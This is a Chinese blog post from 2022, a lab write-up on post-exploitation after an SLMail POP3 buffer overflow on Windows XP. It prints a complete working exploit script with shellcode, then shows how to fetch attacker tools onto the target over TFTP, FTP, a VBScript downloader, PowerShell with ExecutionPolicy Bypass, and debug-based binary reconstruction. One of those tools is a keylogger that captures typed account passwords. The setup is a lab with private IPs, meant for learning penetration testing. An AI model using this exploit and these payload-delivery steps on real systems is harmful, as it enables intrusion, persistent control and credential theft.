后漏洞利用阶段

补充

因本次实验所写博客篇幅过长,本篇为上篇内容的补充。上篇为Windows缓冲区溢出

后漏洞利用阶段

当我们利用SLMail的缓冲区溢出漏洞控制系统后,我们还要进行上传工具、提权、擦除攻击痕迹、安装后门等操作。因为虽然我们能够成功利用此漏洞控制系统了,但可能过段时间此漏洞就被管理员修复了,那么我们就不能再利用此漏洞控制系统,甚至管理员能根据我们的攻击痕迹对我们进行溯源。为了能够长期控制一台机器,我们就要进行后漏洞利用的阶段。

前言

因为之前的实验环境是在家进行,虚拟机网络使用的是桥接模式,而此次的补充是在学校进行,因校园网的原因,虚拟机网络便使用NAT模式,因此实验机器ip会改变。本次补充主要讲解wwindows环境下的上传工具。

本次实验机器ip:windows xp 192.168.233.142

                             kali 192.168.233.150

漏洞利用后阶段

因实验机器ip改变而修改后的漏洞利用脚本10.py

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shellcode = (
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x49\x46\xae"+
"\xc9\x83\xeb\xfc\xe2\xf4\xb5\x2c\x45\x84\xa1\xbf\x51\x36\xb6\x26"+
"\x25\xa5\x6d\x62\x25\x8c\x75\xcd\xd2\xcc\x31\x47\x41\x42\x06\x5e"+
"\x25\x96\x69\x47\x45\x80\xc2\x72\x25\xc8\xa7\x77\x6e\x50\xe5\xc2"+
"\x6e\xbd\x4e\x87\x64\xc4\x48\x84\x45\x3d\x72\x12\x8a\xe1\x3c\xa3"+
"\x25\x96\x6d\x47\x45\xaf\xc2\x4a\xe5\x42\x16\x5a\xaf\x22\x4a\x6a"+
"\x25\x40\x25\x62\xb2\xa8\x8a\x77\x75\xad\xc2\x05\x9e\x42\x09\x4a"+
"\x25\xb9\x55\xeb\x25\x89\x41\x18\xc6\x47\x07\x48\x42\x99\xb6\x90"+
"\xc8\x9a\x2f\x2e\x9d\xfb\x21\x31\xdd\xfb\x16\x12\x51\x19\x21\x8d"+
"\x43\x35\x72\x16\x51\x1f\x16\xcf\x4b\xaf\xc8\xab\xa6\xcb\x1c\x2c"+
"\xac\x36\x99\x2e\x77\xc0\xbc\xeb\xf9\x36\x9f\x15\xfd\x9a\x1a\x05"+
"\xfd\x8a\x1a\xb9\x7e\xa1\x89\xee\x47\x5f\x2f\x2e\xaf\x75\x2f\x15"+
"\x27\x28\xdc\x2e\x42\x30\xe3\x26\xf9\x36\x9f\x2c\xbe\x98\x1c\xb9"+
"\x7e\xaf\x23\x22\xc8\xa1\x2a\x2b\xc4\x99\x10\x6f\x62\x40\xae\x2c"+
"\xea\x40\xab\x77\x6e\x3a\xe3\xd3\x27\x34\xb7\x04\x83\x37\x0b\x6a"+
"\x23\xb3\x71\xed\x05\x62\x21\x34\x50\x7a\x5f\xb9\xdb\xe1\xb6\x90"+
"\xf5\x9e\x1b\x17\xff\x98\x23\x47\xff\x98\x1c\x17\x51\x19\x21\xeb"+
"\x77\xcc\x87\x15\x51\x1f\x23\xb9\x51\xfe\xb6\x96\xc6\x2e\x30\x80"+
"\xd7\x36\x3c\x42\x51\x1f\xb6\x31\x52\x36\x99\x2e\x5e\x43\x4d\x19"+
"\xfd\x36\x9f\xb9\x7e\xc9")

buffer = 'A'*2606+"\xe3\x41\x4b\x5f"+"\x90"*8+shellcode
try:
    print("\nSending evil buffer...")
    s.connect(('192.168.233.142',110))
    data = s.recv(1024)
    s.send('USER test'+'\r\n')
    data = s.recv(1024)
    s.send('PASS '+buffer+'\r\n')
    print("\nDone!")
except:
    print("Could not connect to POP3")

此时再次利用脚本控制机器

 

 

 

 

 

 这种类nc远程控制的shell被称为非交互模式shell,那么什么叫非交互模式shell呢?举个例子:我们nc取得的shell不能使用Tab键自动补全命令或目录,而在本地的cmd就能使用Tab键自动补全。

下面我们给xp装个ftp服务,在win+R里输入appwiz.cpl打开添加删除程序,添加ftp服务

 

 

 

 

 然后确定,一路下一步即可安装成功,此过程需要我们插入安装光盘

然后我们在kali取得的shell下运行ftp

 

 我们可以看到输入用户名回车后就一直停留在此界面,因为nc是非交互式shell,因此不能为我们完成下面的子命令操作

当我们在xp系统上直接执行此命令后,可以看到能够完成子命令操作

 

 因此我们需要上传工具、后门等来实现进一步的控制,而仅依靠一个nc是有局限的

传输文件

TFTP

 第一种方法使用TFTP传输文件。TFTP在windows xp、2003上默认安装,win7、2008需要单独添加,虽然它经常被边界防火墙过滤,但也是一种方法。

下面我们在kali上创建一个目录,并把这个目录指定为TFTP服务的主目录,再拷贝一个nc或其它程序放到这个目录里,然后在xp系统里把文件下载下来达到传输文件的目的

重新获取个shell,首先在根目录下创建tftp的目录,并赋予nobody的权限

 

 然后我们拷贝一些kali里自带的windows工具过去,在/usr/share/windows-binaries/目录下

 

 我们拷贝一个whoami(查看当前用户)和klogger(键盘记录器)到/tftp目录下

拷贝完后我们用后台的方式启动tftp的服务,主目录为/tftp

 

 

 

 可以看到成功启动了tftp的服务

 

 但之前拷贝进去的文件属主还没有改变,我们先kill这个进程,重新运行chown -R nobody /tftp的命令改变属主

 

 因为只有这些程序的属主是nobody时才能够被下载,然后我们重新启动服务

 

 此时服务端的tftp服务就准备好了,下面我们就到已经取得shell的xp系统上执行tftp下载文件

 

 可以看到两个文件被成功下载,然后我们执行一下这两个命令

 

 whoami成功执行,然后我们使用tasklist看看klogger是否成功运行

 

 可以看到klogger也运行成功了

然后我们去xp系统上输点东西看看能否把键盘输入成功记录下来

比如我们使用win+R输入notepad打开一个记事本,记录一下账号密码,然后klogger程序就会在它所在目录下生成一个名为klogger的记事本记录我们的键盘输入

 

 

 

 可以看到成功记录了键盘记录,我们在取得的shell里也能成功查看

 

FTP

 首先在kali下安装ftp服务

 

 安装完pure-ftpd的服务后还要进行一些配置,使用个shell脚本

#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd lz -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

 

 此时可以到xp上访问ftp服务是否正常开启

 

 下面我们就要进行传输文件,但因为nc是非交互式shell,直接输入ftp能输入用户名,但不能输入密码,所以我们需要进行变通,我们可以把我们要执行的命令写入一个文本文件,然后通过ftp命令进行调用这个文本文件

 

 

 

 在调用文件前我们需要把要上传过去的两个文件拷贝进我们之前配置的ftp主目录/ftphome里,我们可以直接从之前的tftp目录下把两个文件拷贝过去

 

然后我们使用ftp调用ftp.txt文件

 

 

 虽然这里显示登录失败,但是我们可以看到两个文件成功被拷贝了过去

VBSCRIPT

首先我们启动kali自带的apache2的服务

 

 这里我们就拷贝个whoami过来

 

 然后我们也是使用echo写入文本的方式进行传输,因为命令太多便先写入wget.vbs的文件再逐行复制进我们控制的shell中

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strUrl, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray, lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

 

 然后用type查看文件内容,已经全部传过去了,接着我们便可以开始执行文件,使用cscript调用wget.vbs文件下载我们网站上的whoami并重命名为w.exe

 

 通过dir可以看到w.exe成功上传

POWERSHELL

vbscript相对以前,其实不是很被推崇了,现在比较新的Windows系统,都是推荐使用powershell,这里的脚本wget.ps1也比较简单

$storngeDir = $pwd
$webclient = New-Object System.Net.WebClient
$url = 'http://192.168.233.150/whoami.exe'
$file = 'D:w.exe'
$webclient.DownloadFile($url, $file)

这里我就在本机的win10系统下演示,使用命令powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1执行

 

 

DEBUG

debug也是个很老的命令了,主要用来做汇编、反汇编,作为16进制dump的工具,做文件传输时对文件的大小有限制,默认为64K字节。因此当我们传输较大的文件时,可以使用upx对文件进行压缩

我们这次传输一个nc.exe

 

 虽然58K没有超过64K,但我们还是可以压缩一下,可以看到用个upx可以压缩一半的大小

然后我们需要把nc的二进制执行文件转换为一个文本的显示方式,我们使用/usr/share/windows-binaries/目录下的exe2bat.exe进行转换,但要注意它是一个windows下的程序,因此我们要再使用个wine命令,才能执行此程序

 

 在这里我的wine命令出现了问题,下面就只讲下思路了

在我们得到的nc.txt文件里,复制除了最后两行的所有命令,放入我们取得的shell命令下执行即可

然后目标机器上会多出一个123.hex文件,接着我们执行debug<123.hex命令,debug就会对其进行汇编,然后会多出一个1.dll文件,这个文件其实就是nc.exe,我们再使用copy 1.dll nc.exe即可,这个程序就可以执行。

本次实验到此完全结束。

posted @ 2022-10-29 18:32  ling-lz  阅读(370)  评论(0编辑  收藏  举报
Live2D